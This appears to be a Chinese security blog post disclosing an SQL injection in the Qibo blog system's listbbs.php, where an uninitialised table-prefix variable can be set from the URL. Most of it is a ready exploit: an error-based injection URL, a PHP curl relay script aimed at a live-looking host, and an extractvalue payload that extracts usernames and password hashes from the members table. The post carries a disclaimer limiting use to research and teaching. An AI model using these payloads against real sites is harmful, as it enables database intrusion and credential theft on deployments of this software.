/blog/template/space/file/listbbs.php
function get_listbbs($rows){ global $db,$uid,$TB_pre,$Mrows,$page,$Morder,$Mdesc,$webdb,$VlogCfg; $VlogCfg[content_leng]==0 && $VlogCfg[content_leng]=120; if($page<1){ $page=1; } $min=($page-1)*$rows; $albumid && $SQL=" AND albumid='$albumid' "; $Mdesc[listbbs] || $Mdesc[listbbs]='DESC'; $Morder[listbbs] || $Morder[listbbs]="tid"; $query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid' ORDER BY T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows"); while($rs = $db->fetch_array($query)){ $rs[postdate]=date("Y-m-d H:i",$rs[postdate]); if($VlogCfg[content_leng]>0){ $rs[content]=@preg_replace('/<([^>]*)>/is',"",$rs[content]); //把HTML代码过滤掉 $rs[content]=get_word($rs[content],$VlogCfg[content_leng]); }else{ $rs[content]=''; } $listdb[]=$rs; } return $listdb; }
这个函数中的$TB_pre未初始化,然后根据齐博系统的伪全局变量注册。然后造成sql注入。
可以构造
http://127.0.0.1/qibo_blog/blog/index.php?file=listbbs&uid=1&id=1&TB_pre=qb_module where 1=1 or updatexml(2,concat(0x7e,(user())),0) %23
附上一个中转的脚本
<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(" ","%20",$id); $id=str_replace("=","%3D",$id); $url = "http://blog.0day5.com/blog/index.php?file=listbbs&uid=1&id=1&TB_pre=qb_module%20where%201=$id%23"; //更改为你需要提交的地址 echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
提供一个注入的语句,这里好像暂时我就只能用extractvalue出数据,但是extractvalue的长度限制位32位。所以这里直接截取了
http://0day5.com/blog.php?id=1%20and%20extractvalue%281,concat%280x7e7e7e,%28select%20concat%28username,0x7c7c7c,SUBSTRING%28%28select%20password%20from%20qb_members%20limit%200,1%29,9,16%29%29from%20qb_members%20limit%200,1%29,0x7e7e7e%29%29
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论